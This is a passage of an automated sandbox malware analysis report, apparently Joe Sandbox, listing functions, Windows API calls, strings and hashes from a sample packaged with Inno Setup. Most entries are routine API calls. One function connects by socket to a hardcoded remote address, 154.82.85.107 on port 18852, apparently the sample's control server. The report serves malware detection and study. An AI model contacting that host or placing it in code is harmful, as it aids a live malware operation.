GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,0040BFA9,?,0041AD90,?,00000000), ref: 0040BF1B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: f0be303c8ae3a3db899ae323bf25bb91345b097c84c1ea8a1fe739e6adf72043
Instruction ID: 36380bb8d2d00a5cd107783bbe8ece87911f5d12961edb049f33984dfb0094ad
Opcode Fuzzy Hash: f0be303c8ae3a3db899ae323bf25bb91345b097c84c1ea8a1fe739e6adf72043
Instruction Fuzzy Hash: 33316D71A04718ABDB20DB65CC81BDBB7B9EB44702F5004BAA608B32D1D7795E80CE9D

Function 0060F338 Relevance: 3.1, APIs: 2, Instructions: 52comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0060F3CE,?,00000000,00000000,?,0060F3E4,?,00613037), ref: 0060F355
CoCreateInstance.OLE32(00661B20,00000000,00000001,00661B30,00000000,00000000,0060F3CE,?,00000000,00000000,?,0060F3E4,?,00613037), ref: 0060F37B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
Opcode ID: 2b7efb7c08ec95d5ac9d012ecff19a46f0113b13660edf46e1a6b002756301d2
Instruction ID: e6de0220a551c525d3073600045ea431ae85d93fb4f84d3b2f3a07f0fd70666f
Opcode Fuzzy Hash: 2b7efb7c08ec95d5ac9d012ecff19a46f0113b13660edf46e1a6b002756301d2
Instruction Fuzzy Hash: 1311C430244204EFDB28DBA5CC85F5AB7EAEB05314F514079F000E7AA1C7B4DD00CB95

Function 005B20A4 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

InitializeSecurityDescriptor.ADVAPI32(00000001,00000001), ref: 005B20B1
SetSecurityDescriptorDacl.ADVAPI32(00000000,000000FF,00000000,00000000,00000001,00000001), ref: 005B20C1

Part of subcall function 00411CC8: CreateMutexW.KERNEL32(?,?,?,?,00650B47,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B,?,?,00000000), ref: 00411CDE

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: DescriptorSecurity$CreateDaclInitializeMutex
String ID:
API String ID: 3525989157-0
Opcode ID: 96aa425f4f1ca6fb28b2fca93f9883b69411c115ce52dc2fb35b5bd094e7d832
Instruction ID: 030b3d5056c1a35ec4f738022bc459d844e504157d5d076cb1adade252ba7484
Opcode Fuzzy Hash: 96aa425f4f1ca6fb28b2fca93f9883b69411c115ce52dc2fb35b5bd094e7d832
Instruction Fuzzy Hash: 6DE065B16443016FE700DF758C82F8B72DC9B44724F10492EB664D72D1F678D948879A

Function 00601070 Relevance: 3.0, APIs: 2, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(0066978C), ref: 0060107D
FileTimeToSystemTime.KERNEL32(?,?,0066978C), ref: 0060109D

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 223c73414ae4cf3b518c4eaf210b6019ad5cc185f74778f8790ce031bb03a183
Instruction ID: a7947e9422a9c24e952e4898eea57e5707ca9917051780ded715f0c801f4df47
Opcode Fuzzy Hash: 223c73414ae4cf3b518c4eaf210b6019ad5cc185f74778f8790ce031bb03a183
Instruction Fuzzy Hash: 40E0EC75D1020CABCB10EFE9D8468DFBBBCAB04314F4046A6B924E3351EB35A7518F95

Function 10016721 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 10016737

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction ID: 772fdfb54747e28d4c8254296b593cf3c963f9d1e760632a41fcaf1a051b6687
Opcode Fuzzy Hash: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction Fuzzy Hash: ABA128B1A10669CBEB15CF54CCC1BA9BBF4FB48364F19C62AE415AB290D374D984CF90

Function 00CE66F8 Relevance: 1.7, APIs: 1, Instructions: 242COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CE670E

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction ID: 4a6a6cfdbaa90df9778bc918d5a5eb58dc3a71a28aefceb535e5798b45eb39c9
Opcode Fuzzy Hash: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction Fuzzy Hash: 7DA17EB2E10659CBEB19CF55C8C1BA9BBB1FB58364F19C22AE425E7250D334DA50CF90

Function 004270EC Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00427178,00000000,00427190,?,?,004271AA,005B1257,00000000), ref: 00427118

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 235a6e9fecbdc768696314ba284c639279867603b6b7ed9726a9360dca84871d
Instruction ID: 510de5ddbe74311da3514f823b091c3129d8178e497fae50679d1ee32f47e5c9
Opcode Fuzzy Hash: 235a6e9fecbdc768696314ba284c639279867603b6b7ed9726a9360dca84871d
Instruction Fuzzy Hash: 1AF01CB46013068FC340DF29F8416957BE6E744704F40962DF884C33A1E7B998448BA5

Function 005FB6B8 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,005FB7B8,?,00000001,00000000), ref: 005FB6CE

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a7720191fadc5b59f9293200741afc173400299f42e44f13b71ffd044a7ac7a5
Instruction ID: 32c953e8add9b443c25677096d2b0c3be2c19464cd60e54ae3a18f2e3060646b
Opcode Fuzzy Hash: a7720191fadc5b59f9293200741afc173400299f42e44f13b71ffd044a7ac7a5
Instruction Fuzzy Hash: CBD05EB150821CBEB60082EA9D82EB6B79CE708324F200612FB14C61C2E696EE015224

Function 00CD0AE4 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: 0b686331e42d228877cee2e921b437bce4a8e5320232e9d9603cb742e160d61d
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: EC317C76A083469FC710DF18C480A2AB7E4FF89318F29096EEA9597312D370FA558B91

Function 0040AC84 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d17ffc1b7c175c9f3f133bcf490b3ef334a0cf6f2a578ee1034f9dfeca47056c
Instruction ID: e7cf9ad10a3c06237dd87dcbde6390057bb8d3fe26e0f0c9e2bb12da4eec98f8
Opcode Fuzzy Hash: d17ffc1b7c175c9f3f133bcf490b3ef334a0cf6f2a578ee1034f9dfeca47056c
Instruction Fuzzy Hash: A001C432B047110B870CDD3ECD9862AB6C3ABC8A10F09C63E9589C77C4CD318C1AC286

Function 004067C0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f1654813ed5821a00b8b7144780f614f73eea8c4dc557e3c0d17b55d1bda45a
Instruction ID: c1f34be03cf0569538104f0038f02cfb84df381903d0011f2ebedd3a3241928c
Opcode Fuzzy Hash: 1f1654813ed5821a00b8b7144780f614f73eea8c4dc557e3c0d17b55d1bda45a
Instruction Fuzzy Hash: 76C0E9B550D6066E975C8F1AB480815FBE5FAC8324364C22EA01C83644D73154518A64

Function 10015490 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100154B3
getaddrinfo.WS2_32(154.82.85.107,18852,?,00000000), ref: 100154FA
WSACleanup.WS2_32 ref: 10015509
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015511
socket.WS2_32(?,?,?), ref: 10015552
WSACleanup.WS2_32 ref: 10015566
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001556E

Strings

154.82.85.107, xrefs: 100154F5
18852, xrefs: 100154F0

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Cleanupexit$Startupgetaddrinfosocket
String ID: 154.82.85.107$18852
API String ID: 2357443324-1825080259
Opcode ID: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction ID: 8ea8c21000931f3664100cedd98eebcd754df86da53339749fb4ddc4d9d3f251
Opcode Fuzzy Hash: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction Fuzzy Hash: 576128B5904629EFE704DFA4CC88F9DB7B5FB08306F148219E519AB2A0C775DA80CF65

Function 10016EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,10001A64,10001A66,00000000,00000000,65E83C72,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10016F29
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016F65
MultiByteToWideChar.KERNEL32(00000000,00000000,10001A64,?,00000000,00000000,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016FA4
SysAllocString.OLEAUT32(00000000), ref: 10016FAF
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016FC0
_com_issue_error.COMSUPP ref: 10016FD8
_com_issue_error.COMSUPP ref: 10016FE2
GetLastError.KERNEL32(80070057,65E83C72,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10016FE7
_com_issue_error.COMSUPP ref: 10016FFA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10017008
GetLastError.KERNEL32(00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10017010
_com_issue_error.COMSUPP ref: 10017023

Strings

r<e, xrefs: 10016EB9

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWidefree$AllocStringmalloc
String ID: r<e
API String ID: 2710271231-3210016143
Opcode ID: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction ID: 6285890bd5176054e2d15964e4e0697efcddc290ec620ce681aa416c4b1e3c3a
Opcode Fuzzy Hash: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction Fuzzy Hash: EA41C3B5A00219ABD700CFA8DC45B9EBBE9FB4C650F114229F509EB281D735E981CBA0

Function 00650AA8 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 260COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,00650E6B,?,?,00000000,?,00000000,00000000,?,0065134E,00000000,00651358,?,00000000), ref: 00650B2F
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B,?,?,00000000,?,00000000,00000000), ref: 00650B55
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF), ref: 00650B76
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B,?,?,00000000,?,00000000), ref: 00650B8B

Part of subcall function 005B0518: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005B05AD,?,?,?,00000001,?,005FB63E,00000000,005FB6A9), ref: 005B054D

Strings

/REG, xrefs: 00650ADE
/REGU, xrefs: 00650B02
.lst, xrefs: 00650BC8
.msg, xrefs: 00650BAE
Inno-Setup-RegSvr-Mutex, xrefs: 00650B39
Setup, xrefs: 00650B1A

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ShowWindow$FileModuleMultipleNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 66301061-3672972446
Opcode ID: 11ff9a5d668dd4f2d7e6ff84b01d56f7ef7fac016dca03f85604f83c2993ff07
Instruction ID: 454a7f8a8ebd9c9c0472cbc412e74aa99abd709555709b689d3e6ddf3cb357b8
Opcode Fuzzy Hash: 11ff9a5d668dd4f2d7e6ff84b01d56f7ef7fac016dca03f85604f83c2993ff07
Instruction Fuzzy Hash: 9491E430A042099FEB10EBA4C856BEEBBF6EF49301F614864FD00A7791DA75ED49CB54

Function 00643E0C Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 223COMMON

Download Yara Rule

APIs

CoTaskMemFree.OLE32(?,00644047,?,00000000,00000000,?,0064F4D6,00000006,?,00000000,0064FAA0,?,00000000,0064FB5F), ref: 0064403A
CoTaskMemFree.OLE32(?,0064409A,?,00000000,00000000,?,0064F4D6,00000006,?,00000000,0064FAA0,?,00000000,0064FB5F), ref: 0064408D

Strings

ProgramFilesDir, xrefs: 00643EF2, 00643F79
Common Files, xrefs: 00643F63
CommonFilesDir, xrefs: 00643F2C, 00643FA8
Failed to get path of 64-bit Common Files directory, xrefs: 00643FCA
cmd.exe, xrefs: 0064410B
Failed to get path of 64-bit Program Files directory, xrefs: 00643F9B
SystemDrive, xrefs: 00643E91
COMMAND.COM, xrefs: 0064412C
\Program Files, xrefs: 00643F19

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
